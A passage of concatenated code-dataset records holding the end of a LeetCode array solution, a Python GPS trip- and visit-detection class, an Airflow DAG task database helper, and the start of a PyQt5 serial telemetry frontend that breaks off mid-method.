make it non-decreasing.\n# [13, 4, 1] however, should return false, since there is no way to modify just one element to make the array non-decreasing.\n#\n#Approach: You only need to search for the element in the array that is decreasing, i.e. nums[i] > nums[i + 1].\n# If you find more than one such elements, return False; if you cannot find one, return True.\n# Then try to find out whether the array can be no-decreasing if you change the value of nums[i] or nums[i + 1]. It can be easily done by one line:\n# return ((nums[i - 1] <= nums[i + 1]) or (nums[i - 2] <= nums[i]))\n\n\ndef checkPossibility(self, nums):\n c = 0 # count for the number of decreasing elements\n p = 0 # place of the decreasing element\n for i in range(len(nums) - 1):\n if(nums[i] > nums[i + 1]):\n c += 1\n p = i + 1\n if c == 0:\n return True\n elif c > 1:\n return False\n else:\n if p == 1 or p == len(nums) - 1: # corner case\n return True\n else:\n return ((nums[p - 1] <= nums[p + 1]) or (nums[p - 2] <= nums[p]))\n","repo_name":"imavijit/Project-Euler-LeetCode","sub_path":"Daily Interview Pro/Problem11.py","file_name":"Problem11.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"21148103156","text":"import numpy as np\nfrom .trip import Trip\nfrom .location import Visit, Location\nfrom .distance import GeodesicDistance\nfrom ..common.conversions import meter_per_second_to_km_per_hour,\\\n km_per_hour_to_meter_per_second\n \n\n \nclass Fix:\n def __init__(self, tstmp, coords, elev, index):\n self.tstmp = tstmp\n self.coords = coords\n self.elev = elev\n self.index = index\n \n def assign(self, other):\n self.tstmp = other.tstmp\n self.coords = other.coords\n self.elev = other.elev\n self.index = other.index\n \nclass GPSData:\n \n STATIONARY = 0\n MOTION = 1\n PAUSE = 2\n MOTION_NOT_TRIP = -1\n \n def __init__(self, id, fname, proj=None):\n \n self.g = GeodesicDistance()\n self.proj = proj\n \n self.id = id\n self.fname = fname\n \n self.timestamps = None\n self.local_datetime = None\n self.latitudes = None\n self.longitudes = None\n self.elevations = None\n self.is_first_fix = None\n self.is_last_fix = None\n \n self.valid_fixes_id = None\n self.ntotal_fixes = None\n \n self.speeds = None\n self.cumdist = None\n \n self.state = None\n self.trip_marker = None\n self.trip_type = None\n self.location_marker = None\n self.visit_marker = None\n \n self.is_valid = None\n \n self.trips = []\n self.locations = []\n self.visits = []\n \n self.locationCounter = 0\n self.tripCounter = 0\n self.visitCounter = 0\n \n self.home_coords = None\n self.is_home = None\n \n self.store_maps_coords = None\n self.store_id = None\n self.store_marker = None\n \n self.unordered_source = False\n self.logging = False\n \n \n def compute_dist(self): \n self.speeds = np.zeros_like(self.timestamps)\n self.cumdist = np.zeros_like(self.timestamps)\n \n prev_time = None\n prev_coords = None\n rundist = 0\n \n for i in np.arange(self.timestamps.shape[0]):\n if self.is_first_fix[i]:\n prev_coords = (self.latitudes[i], self.longitudes[i])\n prev_time = self.timestamps[i]\n rundist = 0\n self.cumdist[i] = 0\n \n next_coords = (self.latitudes[i+1], self.longitudes[i+1])\n next_time = self.timestamps[i+1]\n \n d = self.g.compute_distance_t(prev_coords, next_coords)\n \n self.speeds[i] = d/(next_time - prev_time)\n else:\n cur_coords = (self.latitudes[i], self.longitudes[i])\n cur_time = self.timestamps[i]\n \n cur_dist = self.g.compute_distance_t(prev_coords, cur_coords)\n \n assert np.isnan(cur_dist)==False \n \n rundist += cur_dist\n self.cumdist[i] = rundist\n self.speeds[i] = meter_per_second_to_km_per_hour( cur_dist / (cur_time - prev_time) )\n \n prev_coords = cur_coords\n prev_time = cur_time\n \n def measurement_time(self):\n self._fix_first_last_fixes()\n tot_time_hours = (self.timestamps[-1] - self.timestamps[0])/3600.\n tot_valid_time_hours = 0\n \n first_fixes = np.where(self.is_first_fix == 1)[0]\n last_fixes = np.where(self.is_last_fix == 1)[0]\n \n for (start, last) in zip(first_fixes, last_fixes):\n tot_valid_time_hours += (self.timestamps[last] - self.timestamps[start])/3600.\n \n return tot_time_hours, tot_valid_time_hours, tot_time_hours-tot_valid_time_hours\n \n def mark_home(self, home_coords, radius):\n self.home_coords = home_coords\n self.is_home = np.zeros_like(self.timestamps)\n for i in np.arange(self.timestamps.shape[0]):\n fix = self._getFix(i)\n d = self.g.compute_distance_t(fix.coords, home_coords)\n if d < radius:\n self.is_home[i] = 1\n \n def mark_store(self, store_maps_coords, radius):\n self.store_maps_coords = store_maps_coords\n self.store_id = -np.ones_like(self.timestamps)\n self.store_marker = -np.ones_like(self.timestamps)\n for i in np.arange(self.timestamps.shape[0]):\n fix = self._getFix(i)\n d = np.inf\n my_ci = None\n for store_id, data in store_maps_coords.items():\n ci = (data[0], data[1])\n marker = data[2]\n di = (fix.coords[0]-ci[0])**2+(fix.coords[1]-ci[1])**2#self.g.compute_distance_t(fix.coords, ci)\n if di < d:\n d = di\n self.store_id[i] = store_id\n self.store_marker[i] = marker\n my_ci = ci\n \n d = self.g.compute_distance_t(fix.coords, my_ci)\n if d > radius:\n self.store_id[i] = -1\n self.store_marker[i] = -1\n \n\n \n \n def trip_detection(self, trip_parameters):\n \n first_fixes = np.where(self.is_first_fix == 1)[0]\n last_fixes = np.where(self.is_last_fix == 1)[0]\n if first_fixes.shape[0] != last_fixes.shape[0]:\n print(\"Error:\", first_fixes.shape[0], last_fixes.shape[0])\n raise\n \n self.state = -np.ones_like(self.timestamps, dtype=np.int)\n self.trip_marker = -np.ones_like(self.timestamps, dtype=np.int)\n \n assert len(self.trips) == 0\n \n for i in np.arange(first_fixes.shape[0]):\n self._define_state(first_fixes[i], last_fixes[i]+1, trip_parameters)\n \n if np.any(self.state==-1):\n print(first_fixes)\n print(np.where(self.state==-1))\n raise\n \n for i in np.arange(first_fixes.shape[0]):\n self._trip_detection(first_fixes[i], last_fixes[i]+1, trip_parameters)\n \n print( \"Detected {0} trips\".format(len(self.trips)) )\n \n for trip in self.trips:\n self.trip_marker[trip.start_index:trip.end_index+1] = trip.id\n\n \n \n def classify_trip(self, parameters_speed_cutoff):\n type_count = {}\n for k in parameters_speed_cutoff.keys():\n type_count[k] = 0\n \n for trip in self.trips:\n trip.classify(parameters_speed_cutoff)\n type_count[trip.type] += 1\n \n for k in type_count:\n print(type_count[k], \" trips of type \", k)\n \n self.trip_type = -np.ones_like(self.timestamps, dtype=np.int)\n for trip in self.trips:\n if trip.type=='slow_walk':\n self.trip_type[trip.start_index:trip.end_index+1] = 0\n if trip.type=='walk':\n self.trip_type[trip.start_index:trip.end_index+1] = 1\n elif trip.type=='bike':\n self.trip_type[trip.start_index:trip.end_index+1] = 2\n elif trip.type=='vehicle':\n self.trip_type[trip.start_index:trip.end_index+1] = 3\n \n \n def _trap_points(self, loc_param):\n if False:\n self.state[np.logical_and(self.trip_marker==-1, self.state==self.MOTION) ] = self.MOTION_NOT_TRIP\n store_start = None\n for i in np.arange(1, self.state.shape[0]):\n if self.state[i-1] == self.STATIONARY and self.state[i] == self.MOTION_NOT_TRIP:\n store_start = i\n if self.state[i-1] == self.MOTION_NOT_TRIP and self.state[i] == self.STATIONARY:\n if store_start:\n dist = self.get_distance(i, store_start-1)\n if dist < loc_param['radius']:\n self.state[store_start:i] = self.STATIONARY\n self._log(\"Change to stationary: \", store_start, i)\n \n self.state[self.state == self.MOTION_NOT_TRIP] = self.MOTION\n else:\n self.state[np.logical_and(self.trip_marker==-1, self.is_valid)] = self.STATIONARY\n \n \n def location_detection(self, loc_param):\n assert self.trip_marker is not None\n \n self._trap_points(loc_param)\n \n first_fixes = self.is_first_fix.nonzero()[0]\n last_fixes = self.is_last_fix.nonzero()[0]\n \n self.location_marker = -np.ones_like(self.timestamps, dtype=np.int)\n self.visit_marker = -np.ones_like(self.timestamps, dtype=np.int)\n assert len(self.locations) == 0\n \n assert len(self.visits) == 0\n \n for i in np.arange(first_fixes.shape[0]):\n self._detect_visits(first_fixes[i], last_fixes[i]+1, loc_param, self.visits)\n \n print( \"Detected {0} visits\".format(len(self.visits)) )\n \n self._merge_visits_into_locations(self.visits, loc_param[\"radius\"])\n \n print( \"Detected {0} locations\".format(len(self.locations)) )\n \n for location in self.locations:\n for (f,l,visitid) in zip(location.first_indexes, location.stops, location.visit_ids):\n self.location_marker[f:l] = location.id\n self.visit_marker[f:l] = visitid\n \n def _getFix(self, i):\n if i < self.timestamps.shape[0]:\n return Fix(self.timestamps[i], (self.latitudes[i], self.longitudes[i]), self.elevations[i], i)\n else:\n return None\n \n def _get1MinBeforeFix(self,i, start):\n curr_time = self.timestamps[i]\n for j in np.arange(i-1, start, -1):\n j_time = self.timestamps[j]\n if curr_time - j_time > 60:\n return self._getFix(j)\n \n return self._getFix(start)\n \n def _define_state(self, start, stop, trip_parameters):\n \n min_dist = trip_parameters[\"min_dist\"]\n \n possible_pause = False\n possible_pause_start_index = start\n \n self.state[start] = self.STATIONARY\n \n for i in np.arange(start+1,stop):\n prev_fix = self._get1MinBeforeFix(i, start)\n cur_fix = self._getFix(i)\n dist = self.g.compute_distance_t(prev_fix.coords, cur_fix.coords)\n \n if dist > min_dist:\n self.state[i] = self.MOTION\n if self.state[i-1] == self.STATIONARY and possible_pause:\n stop_len = cur_fix.tstmp - self.timestamps[possible_pause_start_index]\n possible_pause = False\n if stop_len < trip_parameters[\"min_pause\"]:\n self.state[possible_pause_start_index:i] = self.MOTION\n elif stop_len < trip_parameters[\"max_pause\"]:\n self.state[possible_pause_start_index:i] = self.PAUSE\n else:\n self.state[possible_pause_start_index:i] = self.STATIONARY\n else:\n self.state[i] = self.STATIONARY\n if self.state[i-1] == self.MOTION:\n possible_pause = True\n possible_pause_start_index = i\n \n if self.state[start+1] == self.MOTION:\n self.state[start] = self.MOTION\n \n def _trip_detection(self,start, stop, trip_parameters):\n \n self._log(\"_trip_detection\", start, \" \", stop)\n trip_start = None\n \n if self.state[start] == self.MOTION:\n trip_start = start\n \n self._log(\"Trip start: \", trip_start)\n \n for i in np.arange(start+1,stop):\n if self.state[i] == self.MOTION and self.state[i-1] == self.STATIONARY:\n assert trip_start is None\n trip_start = i-1\n self._log(\"Trip start: \", trip_start)\n elif self.state[i] == self.STATIONARY and self.state[i-1] == self.MOTION:\n self._log(\"Trip end: \", i)\n trip = self._validateTrip(trip_start, i, trip_parameters)\n trip_start = None\n if trip:\n self.trips.append( trip )\n\n elif self.state[i] == self.STATIONARY and self.state[i-1] == self.PAUSE:\n print(\"Error going from PAUSE to STATIONARY is forbidden\")\n raise\n elif self.state[i] == self.PAUSE and self.state[i-1] == self.STATIONARY:\n print(\"Error going from STATIONARY to PAUSE is forbidden\")\n raise\n \n if trip_start is not None:\n self._log(\"Trip end at end of fix: \", i)\n trip = self._validateTrip(trip_start, stop-1, trip_parameters)\n if trip:\n self.trips.append( trip )\n \n def _validateTrip(self, start, end, trip_parameters):\n \n self._log(\"_validateTrip\", start, \" \", end)\n \n incomplete_data = self.is_first_fix[start] or self.is_last_fix[end]\n \n success = False\n for i in np.arange(start,end):\n my_d = self.get_distance(i+1, start)\n if my_d > trip_parameters[\"radius\"]:\n success = True\n break\n \n if not success and not incomplete_data:\n self._log(\"From start = {0} to end = {1} the diameter only {2} meters\".format(start, end, my_d))\n return None\n \n if not success and incomplete_data:\n self._log(\"From start = {0} to end = {1} the diameter only {2} meters. Incomplete trip\".format(start, end, my_d))\n self.is_valid[start:end] = 0\n return None\n \n duration = self.timestamps[end] - self.timestamps[start]\n distance = self.cumdist[end] - self.cumdist[start]\n trip_is_valid = True\n \n if duration < trip_parameters[\"min_dur\"] and not incomplete_data:\n self._log(\"From start = {0} to end = {1} is only {2} seconds\".format(start, end, duration))\n trip_is_valid = False\n return None\n \n if duration < trip_parameters[\"min_dur\"] and incomplete_data:\n self._log(\"From start = {0} to end = {1} is only {2} seconds. Incomplete trip\".format(start, end, duration))\n self.is_valid[start:end] = 0\n return None\n \n if distance < trip_parameters[\"min_length\"] and not incomplete_data:\n self._log(\"From start = {0} to end = {1} the distance traveled is only {2} meters\".format(start, end, distance))\n trip_is_valid = False\n return None\n \n if distance < trip_parameters[\"min_length\"] and incomplete_data:\n self._log(\"From start = {0} to end = {1} the distance traveled is only {2} meters. Incomplete trip\".format(start, end, distance))\n self.is_valid[start:end] = 0\n return None\n \n speedAvg = np.mean(self.speeds[start:end+1])\n maxSpeedIndex = np.argmax(self.speeds[start:end+1])\n if maxSpeedIndex == 0:\n speedMax = self.speeds[start + 1]\n elif maxSpeedIndex == end-start:\n speedMax = self.speeds[end - 1]\n else:\n speedMax = .5*(self.speeds[start + maxSpeedIndex + 1] + self.speeds[start + maxSpeedIndex - 1])\n \n \n if speedAvg < trip_parameters[\"min_avg_speed\"] and not incomplete_data:\n self._log(\"From start = {0} to end = {1} the average speed is only {2} km/hours\".format(start, end, speedAvg))\n trip_is_valid = False\n return None\n \n if speedAvg < trip_parameters[\"min_avg_speed\"] and incomplete_data:\n self._log(\"From start = {0} to end = {1} the average speed is only {2} km/hours. Incomplete trip\".format(start, end, speedAvg))\n trip_is_valid = False\n self.is_valid[start:end] = 0\n return None\n\n \n id = self.tripCounter\n self.tripCounter += 1\n trip = Trip(id, start, end,duration, distance, trip_is_valid)\n \n trip.crowdist = self.g.compute_distance(self.latitudes[start], self.longitudes[start],\n self.latitudes[end], self.longitudes[end] )\n \n trip.radius = trip.crowdist\n for i in np.arange(start+1, end):\n d1 = self.g.compute_distance(self.latitudes[start], self.longitudes[start],\n self.latitudes[i], self.longitudes[i] )\n \n d2 = self.g.compute_distance(self.latitudes[i], self.longitudes[i],\n self.latitudes[end], self.longitudes[end] )\n \n trip.radius = max(trip.radius, d1, d2)\n \n trip.speedRMax = speedMax\n \n trip.speedAvg = speedAvg\n \n return trip\n \n def _detect_visits(self, start, stop, location_parameters, visits):\n \n if self.state[start] == self.STATIONARY:\n location_start = start\n elif self.state[start] == self.MOTION:\n location_start = None\n else:\n raise\n \n if location_parameters[\"pause\"]:\n for i in np.arange(start+1,stop):\n if self.state[i] in [self.STATIONARY, self.PAUSE] and self.state[i-1] in [self.MOTION]:\n assert location_start is None\n location_start = i\n elif self.state[i] == self.MOTION and self.state[i-1] in [self.STATIONARY, self.PAUSE]:\n visit = self._isVisit(location_start, i, location_parameters)\n location_start = None\n if visit:\n visits.append( visit ) \n else:\n for i in np.arange(start+1,stop):\n if self.state[i] in [self.STATIONARY] and self.state[i-1] == self.MOTION:\n assert location_start is None\n location_start = i\n elif self.state[i] == self.MOTION and self.state[i-1] in [self.STATIONARY]:\n visit = self._isVisit(location_start, i, location_parameters)\n location_start = None\n if visit:\n visits.append( visit )\n \n if location_start is not None:\n visit = self._isVisit(location_start, stop, location_parameters)\n if visit:\n visits.append( visit )\n \n def _isVisit(self, start_index, stop, location_parameters):\n \n if(start_index > stop):\n print(\"Start index: \", start_index, \"Last index: \", stop)\n raise\n \n if self.timestamps[stop-1] < self.timestamps[start_index]:\n print(\"Start index time: \", self.local_datetime[start_index], start_index)\n print(\"End index time: \", self.local_datetime[stop-1], stop-1)\n \n incomplete_data = self.is_first_fix[start_index] or self.is_last_fix[stop-1]\n \n duration = self.timestamps[stop-1] - self.timestamps[start_index]\n\n is_pause = np.all(self.state[start_index:stop] > self.STATIONARY)\n \n if is_pause:\n self._log(\"Detected pause between {0} and {1} of length {2}\".format(start_index, stop, duration))\n \n if duration < location_parameters[\"min_time\"] and is_pause:\n return None\n \n visit_is_valid = True\n if duration < location_parameters[\"min_time\"] and not incomplete_data:\n visit_is_valid = False\n self._log(\"_isVisit start {0} end {1} duration {2} incomplete data {3}: \".format( \n start_index, stop, duration, incomplete_data))\n \n if duration < location_parameters[\"min_time\"] and incomplete_data:\n self.is_valid[start_index:stop] = 0\n return\n \n if duration < 1.:\n duration = 1.\n \n lats = self.latitudes[start_index:stop]\n lons = self.longitudes[start_index:stop]\n cm_lat = np.mean( lats )\n cm_lon = np.mean( lons )\n \n radius = max([self.g.compute_distance(lat, lon, cm_lat, cm_lon) for (lat,lon) in zip(lats, lons) ] )\n if (radius <= location_parameters[\"radius\"]) or True:\n cl = Visit(self.visitCounter, cm_lat, cm_lon, radius, duration, start_index, stop)\n cl.is_valid = visit_is_valid\n cl.distanceFromHome(self)\n cl.distanceFromStore(self)\n self.visitCounter+=1\n return cl\n else:\n if self.g.compute_distance(lats[0], lons[0], cm_lat, cm_lon) > self.g.compute_distance(lats[-1], lons[-1], cm_lat, cm_lon):\n return self._isVisit(start_index+1, stop, location_parameters)\n else:\n return self._isVisit(start_index, stop-1, location_parameters)\n \n \n def _merge_visits_into_locations(self, visits, radius):\n assert len(self.locations) == 0\n \n locationAlreadyVisited = False\n for visit in visits:\n for loc in self.locations:\n locationAlreadyVisited = loc.merge(visit,self,radius)\n if locationAlreadyVisited:\n break\n if not locationAlreadyVisited:\n self.locations.append(Location(self.locationCounter, visit, self))\n self.locationCounter+=1\n \n \n def get_distance(self,i,j):\n fix_i = self._getFix(i)\n fix_j = self._getFix(j)\n \n return self.g.compute_distance_t(fix_i.coords, fix_j.coords) \n\n def _log(self, *args):\n if self.logging:\n print(*args)\n \n def _fix_first_last_fixes(self):\n for i in np.arange(self.is_first_fix.shape[0]-1):\n if self.is_first_fix[i]==1 and self.is_valid[i] == 0:\n self.is_first_fix[i] = 0\n self.is_first_fix[i+1] = 1\n \n for i in np.arange(self.is_last_fix.shape[0]-1, 1, -1):\n if self.is_last_fix[i]==1 and self.is_valid[i] == 0:\n self.is_last_fix[i] = 0\n self.is_last_fix[i-1] = 1\n","repo_name":"dsalvolab/hbspace","sub_path":"hbspace/gps/gpsData.py","file_name":"gpsData.py","file_ext":"py","file_size_in_byte":22686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"14624619124","text":"from Connection import Connect\nimport json\nfrom enum import Enum\nfrom plugins.DAG.option import Option\nfrom datetime import datetime\nfrom plugins.DAG.dag import Dag\nclass Task():\n\n Date = Enum(\"date\", [\"yyyymmdd\", \"ddmmyyyy\", \"mmddyyyy\"])\n Type = Enum(\"taskType\", [\"hdfs-sensor\", \"bash\"])\n tp = ['hdfs-sensor', 'bash']\n def __init__(self, id=None, name=None, task_type=None, priority_weight=None, pool=None,\n upstreams=None, filepath=None, flag=None, recursive= None, min_size=None, ignore_failed= None, command_template=None, number_of_days=None,\n interval=None, date=None, dataset=None):\n self.id = id\n self.name = name\n self.task_type = task_type\n self.priority_weight = priority_weight\n self.pool = pool\n self.upstreams = upstreams\n self.filepath = filepath\n self.flag = flag\n self.recursive = recursive\n self.min_size = min_size\n self.ignore_failed = ignore_failed\n self.command_template = command_template\n\n self.number_of_days = number_of_days\n self.interval = interval\n self.date = date\n self.dataset = dataset\n \n def ListTask(self, id):\n conn = Connect()\n lst_task = []\n selectTask = \"\"\"select * from task where dag_id = %s\"\"\"\n value_id = (id,)\n data = conn.SelectAll_item(selectTask, value_id)\n for task in data:\n t = Task(task[0], task[1], task[3], task[4], task[5],task[6],task[7], task[8], task[9], task[10], task[11], task[12])\n lst_task.append(t)\n return lst_task\n\n def updateTask(self, task):\n conn = Connect()\n if task.task_type == 'hdfs-sensor':\n updateTask = \"\"\"update task set name = %s, priority_weight=%s, pool=%s,upstreams=%s,filepath=%s,\n flag=%s, recursive=%s, min_size=%s where id = %s\"\"\"\n value = (task.name, task.priority_weight,task.pool,task.upstreams,task.filepath,\n task.flag,task.recursive,task.min_size, task.id)\n conn.Insert_item(updateTask, value)\n elif task.task_type == 'bash':\n updateTask = \"\"\"update task set name = %s, priority_weight=%s, pool=%s,upstreams=%s,ignore_failed=%s,\n command_template=%s where id = %s\"\"\"\n value = (task.name, task.priority_weight,task.pool,task.upstreams,task.ignore_failed,\n task.command_template, task.id)\n conn.Insert_item(updateTask, value)\n else :\n updateTask = \"\"\"update task set name = %s, priority_weight=%s, pool=%s,upstreams=%s, command_template=%s where id = %s\"\"\"\n value = (task.name, task.priority_weight,task.pool,task.upstreams,task.command_template, task.id)\n conn.Insert_item(updateTask, value)\n \n def convertdate(self,select):\n for d in self.Date:\n if d.value == select:\n date = \"\"\n result = \"\".join(dict.fromkeys(d.name))\n l = list(result)\n date = \"%\"+l[0]+\"%\"+l[1]+\"%\"+l[2]\n return date\n\n def convertTask (self, select):\n return None\n\n def format_date (self, select):\n for d in self.Date:\n if d.value == select:\n return d.name\n\n def insertTask(self, upstreams, task, id_dag, format_date, format_previous_date, previous_date):\n conn = Connect()\n insert_task = \"\"\" insert into task(name, dag_id, task_type, priority_weight, pool, upstreams, filepath, flag, recursive, min_size, ignore_failed, command_template) values\n (%s, %s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\"\"\n\n taskname = task.name\n if not upstreams:\n item_tuple_task = (taskname,id_dag,task.task_type,task.priority_weight,task.pool,[],task.filepath,task.flag,\n task.recursive, task.min_size, task.ignore_failed, task.command_template)\n else :\n item_tuple_task = (taskname,id_dag,task.task_type,task.priority_weight,task.pool,upstreams,task.filepath,task.flag,\n task.recursive, task.min_size, task.ignore_failed, task.command_template)\n conn.Insert_item(insert_task,item_tuple_task)\n\n #Options\n query_taskid = \"select id from task where name = %s\"\n value_name = (taskname,)\n id_task = conn.Select_item(query_taskid, value_name)\n insert_option = \"\"\"insert into option(task_id, number_of_days, interval, date, format_date, format_previous_date) values\n (%s, %s, %s, %s, %s,%s)\"\"\"\n\n item_tuple_option = (id_task,task.number_of_days, task.interval, task.date, format_date, format_previous_date)\n conn.Insert_item(insert_option,item_tuple_option)\n\n #Command\n query_optionid = \"select id from option where task_id = %s\"\n value_id = (id_task,)\n id_option = conn.Select_item(query_optionid,value_id)\n\n insert_command = \"\"\"insert into command(option_id, dataset, date, previous_date) values\n (%s, %s, %s, %s)\"\"\"\n item_tuple_option = (id_option, task.dataset, task.date, previous_date)\n conn.Insert_item(insert_command,item_tuple_option)\n\n def selecTask(self, id):\n conn = Connect()\n selectDag = \"\"\"select * from task where id = %s\"\"\"\n value_id = (id,)\n data = conn.SelectAll_item(selectDag, value_id)\n for task in data:\n t = Task(task[0], task[1], task[3], task[4], task[5],task[6],task[7], task[8], task[9], task[10], task[11], task[12])\n return t\n\n def getId_Dag(self, idTask):\n conn = Connect()\n selectidDag = \"\"\"select dag_id from task where id = %s\"\"\"\n value_id = (idTask,)\n data = conn.Select_item(selectidDag, value_id)\n return data\n\n def get_Upstream(self, id_dag):\n conn = Connect()\n list_taskname =[]\n selectTaskname = \"\"\"select name from task where dag_id = %s\"\"\"\n value_id = (id_dag,)\n data = conn.SelectAll_item(selectTaskname, value_id)\n \n for name in data:\n list_taskname.append(name[0])\n return list_taskname\n\n def remove_common(self, a, b, name):\n for i in a[:]:\n if i in b:\n a.remove(i)\n # b.remove(i)\n a.remove(name)\n return a\n \n def ListparamTask(self, taskid):\n conn = Connect()\n lst = []\n quey = \"\"\"select id, name, task_type, priority_weight, pool, upstreams, filepath, flag, recursive, min_size, ignore_failed, command_template from task where dag_id = %s\"\"\"\n para = (taskid,)\n Alltask = conn.SelectAll_item(quey, para)\n \n for argument in Alltask:\n lst.append(argument)\n return lst\n\n def listparamOption(self):\n conn = Connect()\n lst = []\n quey = \"\"\"select task_id, number_of_days, interval, date from option \"\"\"\n Alltask = conn.SelectAll_item(quey)\n\n for argument in Alltask:\n lst.append(argument)\n return lst\n\n def listparamCommand(self):\n conn = Connect()\n lst = []\n quey = \"\"\"select option_id, date, previous_date, dataset from command \"\"\"\n Alltask = conn.SelectAll_item(quey)\n for argument in Alltask:\n lst.append(argument)\n return lst\n \n def handle_option (self, lst_option, taskid):\n keys_op = ['number_of_days', 'interval', 'date']\n for item in lst_option:\n lst_2 = list(item)\n for i in lst_2:\n if i == taskid:\n lst_2.pop(0)\n my_dictionary = dict(zip(keys_op, lst_2))\n return my_dictionary\n\n def handle_command(self, lst_command, optionid, taskid):\n op = Option()\n type = op.getType(taskid)\n keys_command = ['date', 'previous_date', 'dataset']\n for item in lst_command:\n lst_2 = list(item)\n n = len(lst_2)\n for i in range(0,n):\n if lst_2[i] == optionid and type == \"bash\":\n lst_2.pop(0)\n my_dictionary = dict(zip(keys_command, lst_2))\n return my_dictionary\n elif lst_2[i] == optionid and type == \"bash-sensor\":\n lst_2.pop(0)\n keys_command = ['date']\n my_dictionary = dict(zip(keys_command, lst_2))\n return my_dictionary\n\n def handle(self, lst_task, lst_option, lst_command):\n conn = Connect()\n lst_total = []\n keys = ['name', 'task_type', 'priority_weight', 'pool', 'upstreams','filepath', 'flag', 'recursive', 'min_size', 'ignore_failed', 'command_template','options']\n \n for item in lst_task:\n lst_2 = list(item)\n option = self.handle_option(lst_option, item[0])\n\n query_optionid = \"select id from option where task_id = %s\"\n value_id = (item[0],)\n id_option = conn.Select_item(query_optionid,value_id)\n \n command = self.handle_command(lst_command, id_option, item[0])\n\n if command:\n option['command_params'] = command\n option.pop(\"date\",None)\n option = {k: v for k, v in option.items() if v is not None}\n else :\n option = {k: v for k, v in option.items() if v is not None}\n option = {k: v for k, v in option.items() if v != \"\"}\n\n lst_2.pop(0)\n lst_2.append(option)\n my_dictionary = dict(zip(keys, lst_2))\n\n my_dictionary = {k: v for k, v in my_dictionary.items() if v != \"\"}\n my_dictionary = {k: v for k, v in my_dictionary.items() if v is not None}\n lst_total.append(my_dictionary)\n return lst_total\n\n def parse_json(self, id_dag):\n conn = Connect()\n\n query_dagid = \"\"\"select name from ScheduleDag where id = %s\"\"\"\n value_name = (id_dag,)\n dag_name = conn.Select_item(query_dagid, value_name)\n dag = Dag()\n lst_task = self.ListparamTask(id_dag)\n lst_option = self.listparamOption()\n lst_command = self.listparamCommand()\n res = self.handle(lst_task, lst_option, lst_command)\n\n filename = dag.getFileName(dag_name)\n dict_res = {\"tasks\":res}\n filename = \"dags/json/{name}\".format(name = filename)\n with open(filename, 'w') as convert_file:\n convert_file.write(json.dumps(dict_res))\n\n def deleteTask(self, id):\n #Delete command\n #Get optionid\n conn = Connect()\n\n selectoptionId = \"\"\"select id from option where task_id = %s\"\"\"\n value_id = (id,)\n optionId = conn.Select_item(selectoptionId, value_id)\n # print(optionId)\n\n delete_command = \"\"\"DELETE FROM command WHERE option_id = %s\"\"\"\n id_op = (optionId,)\n conn.Insert_item(delete_command, id_op)\n #Delete option\n delete_option = \"\"\"DELETE FROM option WHERE task_id = %s\"\"\"\n id_task_op = (id,)\n conn.Insert_item(delete_option, id_task_op)\n #Delete task\n delete_task = \"\"\"DELETE FROM task WHERE id = %s\"\"\"\n id_task = (id,)\n conn.Insert_item(delete_task, id_task)\n\n \n\n ","repo_name":"NguyenTrieu903/Airflow","sub_path":"plugins/DAG/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":11354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42029386864","text":"#!/usr/bin/python3\nimport sys\nimport logging\nfrom datetime import datetime\nfrom PyQt5 import QtCore, QtGui, QtWidgets, uic\nfrom PyQt5.QtWidgets import QTableWidgetItem\n\nfrom uart import *\nfrom comm import *\n\nLOG_SEVERITY = ['NONE', 'ERROR', 'WARNING', 'INFO', 'DEBUG']\nLOG_SOURCE = ['SYSTEM', 'DRIVER', 'MODULE', 'COMM', 'APP']\nLOG_MODULE = ['ECU', 'HMI', 'PSU', 'SDU', 'RF2USB']\nRACE_MODE = ['Arcade', 'Acceleration', 'Long Distance', 'DEBUG']\nVALVE_STATE = ['Closed', 'In', 'Out']\n# amount of lines to be kept in log window\nLOG_KEEP = 1000\n\n# Invocation of methods in main thread\nclass InvokeEvent(QtCore.QEvent):\n EVENT_TYPE = QtCore.QEvent.Type(QtCore.QEvent.registerEventType())\n\n def __init__(self, fn, *args, **kwargs):\n QtCore.QEvent.__init__(self, InvokeEvent.EVENT_TYPE)\n self.fn = fn\n self.args = args\n self.kwargs = kwargs\n\nclass Invoker(QtCore.QObject):\n def event(self, event):\n event.fn(*event.args, **event.kwargs)\n\n return True\n\n_invoker = Invoker()\n\ndef invoke_in_main_thread(fn, *args, **kwargs):\n QtCore.QCoreApplication.postEvent(_invoker, InvokeEvent(fn, *args, **kwargs))\n\n\nclass MainWindow(QtWidgets.QMainWindow):\n def __init__(self):\n super(MainWindow,self).__init__()\n uic.loadUi('frontend.ui', self)\n self.con = Uart()\n self.initHandlers();\n self.log = logging.getLogger()\n\n # setup logging module\n handler = logging.StreamHandler()\n formatter = logging.Formatter(\n '%(asctime)s %(levelname)s %(message)s')\n handler.setFormatter(formatter)\n self.log.addHandler(handler)\n self.log.setLevel(logging.DEBUG)\n\n def initHandlers(self):\n # connect UI actions to internal functions\n self.btConnect.clicked.connect(self.doUartConnect)\n self.btDisconnect.clicked.connect(self.doUartDisconnect)\n\n def doUartConnect(self):\n if self.con.connect(self.leDevice.text(), self.leBaudrate.text()) == False:\n return\n\n self.leDevice.setEnabled(False)\n self.leBaudrate.setEnabled(False)\n self.btConnect.setEnabled(False)\n self.btDisconnect.setEnabled(True)\n\n #connect all required processing signals\n self.con.subscribe(LogMessage.CMD_ID, self.addLog)\n self.con.subscribe(Telemetry.CMD_ID, self.updateTelemetry)\n\n def doUartDisconnect(self):\n self.con.disconnect()\n self.leDevice.setEnabled(True)\n self.leBaudrate.setEnabled(True)\n self.btConnect.setEnabled(True)\n self.btDisconnect.setEnabled(False)\n\n def addLog(self, msg):\n if not isinstance(threading.current_thread(), threading._MainThread):\n invoke_in_main_thread(self.updateTelemetry, msg)\n\n pos = self.tbSystemLog.rowCount()\n if pos > LOG_KEEP:\n self.tbSystemLog.removeRow(0)\n pos -= 1\n self.tbSystemLog.insertRow(pos)\n\n dt = datetime.now()\n self.tbSystemLog.setItem(pos, 0, QTableWidgetItem(('%02d:%02d:%2d.%3d') %\n (dt.hour, dt.minute, dt.second, dt.microsecond)))\n\n self.tbSystemLog.setItem(pos, 1, QTableWidgetItem(LOG_MODULE[msg.module]))\n 